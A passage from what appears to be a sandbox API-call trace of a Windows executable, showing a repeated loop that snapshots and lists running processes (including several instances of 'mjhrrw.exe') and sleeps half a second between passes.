th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.828] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.828] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.829] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.829] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.830] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.830] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0270.831] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0270.831] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0270.832] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.832] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0270.833] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.834] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.834] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0270.834] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 0 [0270.835] CloseHandle (hObject=0x380) returned 1 [0270.835] Sleep (dwMilliseconds=0x1f4) [0271.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0271.636] Process32FirstW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.636] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.637] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.638] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.638] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.639] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.639] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.640] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.640] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.641] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.641] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.642] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.642] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.643] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.644] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.644] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.645] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.645] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.646] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.646] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.647] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.648] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.648] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.649] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.649] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.650] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.651] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.651] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.652] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0271.653] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0271.653] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.654] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.654] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.655] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.656] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.656] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.657] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.658] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0271.658] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0271.659] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0271.659] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.660] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.661] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.661] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.662] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0271.664] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 0 [0271.982] CloseHandle (hObject=0x388) returned 1 [0271.982] Sleep (dwMilliseconds=0x1f4) [0272.663] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0272.669] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.670] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.671] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.672] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.672] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.673] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.673] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.674] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.675] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.675] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.676] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.677] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.677] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.678] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.678] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.679] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.680] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.681] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.681] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.682] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.683] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.684] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.684] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, 